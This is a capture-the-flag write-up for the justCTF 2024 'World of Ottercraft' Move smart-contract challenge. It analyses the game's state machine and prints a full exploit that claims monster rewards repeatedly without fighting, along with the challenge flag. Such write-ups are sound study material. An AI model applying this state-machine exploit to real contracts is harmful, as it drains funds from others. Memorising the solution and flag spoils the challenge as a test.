World of Ottercraft (justCTF teaser 2024)

> Writeup by FluxFingers

Challenge

> Welcome to the World of Ottercraft, where otters rule the blockchain! In this challenge, you'll dive deep into the blockchain to grab the mythical Otter Stone! Beware of the powerful monsters that will try to block your path! Can you outsmart them and fish out the Otter Stone, or will you just end up swimming in circles?

Challenge created by embe221ed & Darkstar49 from OtterSec

`nc tos.nc.jctf.pro 31337`

https://s3.cdn.justctf.team/a951edfb-bd5f-40a0-b334-ad650d889ac3/woo_docker.tar.gz

The setup is the same as for The Otter Scrolls

The Otter Stone

We are given another little text adventure which is about slaying monster and buying gear. But this time it uses a more complex state machine. Once again the monster slaying business is not profitable and we must resort to other methods.

State Machine

Analyzing the state machine is a good way to find bugs. The following states exist:

- `PREPARE_FOR_TROUBLE`
- `ON_ADVENTURE`
- `RESTING`
- `SHOPPING`
- `FINISHED`

And the state transitions:

- `enter_tavern` : `RESTING` -> `SHOPPING`
- `checkout` : Any -> `RESTING`
- `find_a_monster` : `PREPARE_FOR_TROUBLE` | `RESTING` -> `PREPARE_FOR_TROUBLE`
- `bring_it_on` : `PREPARE_FOR_TROUBLE` -> `ON_ADVENTURE`
- `return_home` : `ON_ADVENTURE` -> `FINISHED`
- `get_the_reward` : `FINISHED` | `SHOPPING` -> `RESTING`

Two interesting things stand out:

1. The `checkout` function allows all incoming states
2. The `get_the_reward` function allows `SHOPPING` as input

Both of these are unexpected and likely a source of bugs.

Exploit

The `get_the_reward` function doesn't check if a monster is killed. It always gives the reward for the monster at the index that was passed to `bring_it_on`. So if we use `enter_tavern` to get to `SHOPPING` and then use `get_the_reward` a reward will be claimed without the need to kill the monster. One problem is that `enter_tavern` gives us a ticket that must be returned to the contract, we cannot delete it. So we must call `checkout` afterwards but to call checkout we must buy at least one item. So additionally we must buy the cheapest item. But luckily the monster reward is always larger than the cheapest item in the tavern.

Here is the full exploit:

```
    public fun solve(
        board: &mut Otter::QuestBoard,
        vault: &mut Otter::Vault<OTTER>,
        player: &mut Otter::Player,
        ctx: &mut TxContext
    ) {
        // buy gear to slay first monster
        let mut ticket = challenge::Otter::enter_tavern(player);
        challenge::Otter::buy_sword(player, &mut ticket);
        challenge::Otter::checkout(ticket, player, ctx, vault, board);

        // fill monster stack
        let mut i = 0;
        while (i < 25) {
            i = i + 1;
            challenge::Otter::find_a_monster(board, player);
        };

        // kill one monster
        challenge::Otter::bring_it_on(board, player, 0);
        challenge::Otter::return_home(board, player);
        challenge::Otter::get_the_reward(vault, board, player, ctx);

        // claim reward for all other monsters
        i = 0;
        while (i < 24) {
            i = i + 1;
            ticket = challenge::Otter::enter_tavern(player);
            challenge::Otter::buy_shield(player, &mut ticket);
            challenge::Otter::get_the_reward(vault, board, player, ctx);
            challenge::Otter::checkout(ticket, player, ctx, vault, board);
        };

        // buy flag
        ticket = challenge::Otter::enter_tavern(player);
        challenge::Otter::buy_flag(&mut ticket, player);
        challenge::Otter::checkout(ticket, player, ctx, vault, board);
    }
```

The exploit flow is as follows:

1. Buy some gear so we can slay a monster
2. Use the fact that `find_a_monster` allows us to store up to 25 monsters
3. Kill one monster to get back to `RESTING`
4. Claim the reward for all other monsters by:
    a. Use `enter_tavern` to get to `SHOPPING`
    b. Buy something so we can use `checkout` later
    c. Get the coins with `get_the_reward`
    d. Use `checkout` to get rid of the ticket from `enter_tavern`
5. Buy the flag

The server then responds with the flag `justCTF{Ott3r_uses_expl0it_its_sup3r_eff3ctiv3}`